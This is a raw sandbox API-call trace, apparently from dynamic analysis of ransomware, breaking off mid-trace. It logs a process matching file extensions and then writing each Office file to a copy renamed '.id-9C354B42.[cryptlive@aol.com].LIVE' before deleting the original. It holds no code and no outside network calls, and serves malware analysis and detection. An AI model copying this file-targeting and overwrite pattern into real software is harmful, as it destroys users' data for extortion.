lstrlenW (lpString=".7z") returned 3 [0145.605] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0145.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.605] lstrlenW (lpString=".dbf") returned 4 [0145.605] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0145.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.605] lstrlenW (lpString=".1cd") returned 4 [0145.605] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1 [0145.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.605] lstrlenW (lpString=".jpg") returned 4 [0145.605] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0145.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.605] lstrlenW (lpString=".doc") returned 4 [0145.605] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0145.605] lstrlenW (lpString=".docx") returned 5 [0145.605] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0145.605] lstrlenW (lpString=".pdf") returned 4 [0145.605] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0145.605] lstrlenW (lpString=".xls") returned 4 [0145.605] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0145.605] lstrlenW (lpString=".xlsx") returned 5 [0145.605] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0145.605] lstrlenW (lpString=".ppt") returned 4 [0145.606] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0145.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.606] lstrlenW (lpString=".zip") returned 4 [0145.606] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0145.606] lstrlenW (lpString=".rar") returned 4 [0145.606] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0145.606] lstrlenW (lpString=".bz2") returned 4 [0145.606] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0145.606] lstrlenW (lpString=".7z") returned 3 [0145.606] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0145.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.606] lstrlenW (lpString=".dbf") returned 4 [0145.606] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0145.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.606] lstrlenW (lpString=".1cd") returned 4 [0145.606] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1 [0145.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.606] lstrlenW (lpString=".jpg") returned 4 [0145.606] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0145.606] lstrcmpiW (lpString1=".SCM", lpString2=".LIVE") returned 1 [0145.606] lstrlenW (lpString="PUBCOLOR.SCM") returned 12 [0145.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0145.607] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=28160) returned 1 [0145.607] CloseHandle (hObject=0x3a4) returned 1 [0145.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 0x20 [0145.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0145.607] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.607] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0145.747] GetLastError () returned 0x0 [0145.747] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x6e00, lpOverlapped=0x0) returned 1 [0145.749] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x6e10, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6e10, lpOverlapped=0x0) returned 1 [0145.750] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.750] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.750] SetEndOfFile (hFile=0x384) returned 1 [0145.750] CloseHandle (hObject=0x384) returned 1 [0145.750] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.750] SetEndOfFile (hFile=0x3a4) returned 1 [0145.753] CloseHandle (hObject=0x3a4) returned 1 [0145.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 1 [0145.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.754] lstrlenW (lpString=".doc") returned 4 [0145.754] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0145.754] lstrlenW (lpString=".docx") returned 5 [0145.754] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0145.754] lstrlenW (lpString=".pdf") returned 4 [0145.754] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0145.754] lstrlenW (lpString=".xls") returned 4 [0145.754] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0145.754] lstrlenW (lpString=".xlsx") returned 5 [0145.754] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0145.754] lstrlenW (lpString=".ppt") returned 4 [0145.754] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0145.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.754] lstrlenW (lpString=".zip") returned 4 [0145.754] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0145.754] lstrlenW (lpString=".rar") returned 4 [0145.754] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0145.754] lstrlenW (lpString=".bz2") returned 4 [0145.754] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0145.754] lstrlenW (lpString=".7z") returned 3 [0145.754] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0145.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.754] lstrlenW (lpString=".dbf") returned 4 [0145.754] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0145.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.754] lstrlenW (lpString=".1cd") returned 4 [0145.754] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0145.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.755] lstrlenW (lpString=".jpg") returned 4 [0145.755] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.755] lstrlenW (lpString=".doc") returned 4 [0145.755] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString=".docx") returned 5 [0145.755] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0145.755] lstrlenW (lpString=".pdf") returned 4 [0145.755] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString=".xls") returned 4 [0145.755] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0145.755] lstrlenW (lpString=".xlsx") returned 5 [0145.755] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0145.755] lstrlenW (lpString=".ppt") returned 4 [0145.755] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.755] lstrlenW (lpString=".zip") returned 4 [0145.755] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0145.755] lstrlenW (lpString=".rar") returned 4 [0145.755] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString=".bz2") returned 4 [0145.755] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString=".7z") returned 3 [0145.755] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0145.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.755] lstrlenW (lpString=".dbf") returned 4 [0145.755] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.755] lstrlenW (lpString=".1cd") returned 4 [0145.755] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0145.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0145.755] lstrlenW (lpString=".jpg") returned 4 [0145.755] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0145.756] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0145.756] lstrlenW (lpString="PUBWZINT.REST.IDX_DLL") returned 21 [0145.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0145.757] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=173952) returned 1 [0145.757] CloseHandle (hObject=0x3a4) returned 1 [0145.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 0x20 [0145.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0145.757] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.757] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0145.758] GetLastError () returned 0x0 [0145.758] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x2a780, lpOverlapped=0x0) returned 1 [0145.762] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x2a790, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2a790, lpOverlapped=0x0) returned 1 [0145.766] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.766] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0145.766] SetEndOfFile (hFile=0x384) returned 1 [0145.766] CloseHandle (hObject=0x384) returned 1 [0145.766] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.766] SetEndOfFile (hFile=0x3a4) returned 1 [0145.771] CloseHandle (hObject=0x3a4) returned 1 [0145.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll")) returned 1 [0145.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.772] lstrlenW (lpString=".doc") returned 4 [0145.772] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString=".docx") returned 5 [0145.772] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.772] lstrlenW (lpString=".pdf") returned 4 [0145.772] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString=".xls") returned 4 [0145.772] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString=".xlsx") returned 5 [0145.772] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.772] lstrlenW (lpString=".ppt") returned 4 [0145.772] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.772] lstrlenW (lpString=".zip") returned 4 [0145.772] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString=".rar") returned 4 [0145.772] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString=".bz2") returned 4 [0145.772] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString=".7z") returned 3 [0145.772] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.772] lstrlenW (lpString=".dbf") returned 4 [0145.772] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.772] lstrlenW (lpString=".1cd") returned 4 [0145.772] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.772] lstrlenW (lpString=".jpg") returned 4 [0145.772] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.773] lstrlenW (lpString=".doc") returned 4 [0145.773] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString=".docx") returned 5 [0145.773] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0145.773] lstrlenW (lpString=".pdf") returned 4 [0145.773] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString=".xls") returned 4 [0145.773] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString=".xlsx") returned 5 [0145.773] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0145.773] lstrlenW (lpString=".ppt") returned 4 [0145.773] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.773] lstrlenW (lpString=".zip") returned 4 [0145.773] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString=".rar") returned 4 [0145.773] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString=".bz2") returned 4 [0145.773] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString=".7z") returned 3 [0145.773] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.773] lstrlenW (lpString=".dbf") returned 4 [0145.773] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.773] lstrlenW (lpString=".1cd") returned 4 [0145.773] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0145.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0145.773] lstrlenW (lpString=".jpg") returned 4 [0145.773] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0145.773] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0145.774] lstrlenW (lpString="QRYINT32.DLL") returned 12 [0145.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0145.775] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=83808) returned 1 [0145.775] CloseHandle (hObject=0x3a4) returned 1 [0145.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll")) returned 0x20 [0145.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0145.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.775] lstrlenW (lpString=".doc") returned 4 [0145.775] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.775] lstrlenW (lpString=".docx") returned 5 [0145.775] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0145.775] lstrlenW (lpString=".pdf") returned 4 [0145.775] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.775] lstrlenW (lpString=".xls") returned 4 [0145.775] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.775] lstrlenW (lpString=".xlsx") returned 5 [0145.775] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0145.775] lstrlenW (lpString=".ppt") returned 4 [0145.776] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.776] lstrlenW (lpString=".zip") returned 4 [0145.776] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString=".rar") returned 4 [0145.776] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString=".bz2") returned 4 [0145.776] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.776] lstrlenW (lpString=".7z") returned 3 [0145.776] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.776] lstrlenW (lpString=".dbf") returned 4 [0145.776] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.776] lstrlenW (lpString=".1cd") returned 4 [0145.776] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.776] lstrlenW (lpString=".jpg") returned 4 [0145.776] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.776] lstrlenW (lpString=".doc") returned 4 [0145.776] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString=".docx") returned 5 [0145.776] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0145.776] lstrlenW (lpString=".pdf") returned 4 [0145.776] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString=".xls") returned 4 [0145.776] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString=".xlsx") returned 5 [0145.776] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0145.776] lstrlenW (lpString=".ppt") returned 4 [0145.776] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.776] lstrlenW (lpString=".zip") returned 4 [0145.777] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.777] lstrlenW (lpString=".rar") returned 4 [0145.777] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.777] lstrlenW (lpString=".bz2") returned 4 [0145.777] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.777] lstrlenW (lpString=".7z") returned 3 [0145.777] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.777] lstrlenW (lpString=".dbf") returned 4 [0145.777] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.777] lstrlenW (lpString=".1cd") returned 4 [0145.777] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL") returned 60 [0145.777] lstrlenW (lpString=".jpg") returned 4 [0145.777] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.777] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0145.777] lstrlenW (lpString="SAVASWEB.VSL") returned 12 [0145.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0146.040] 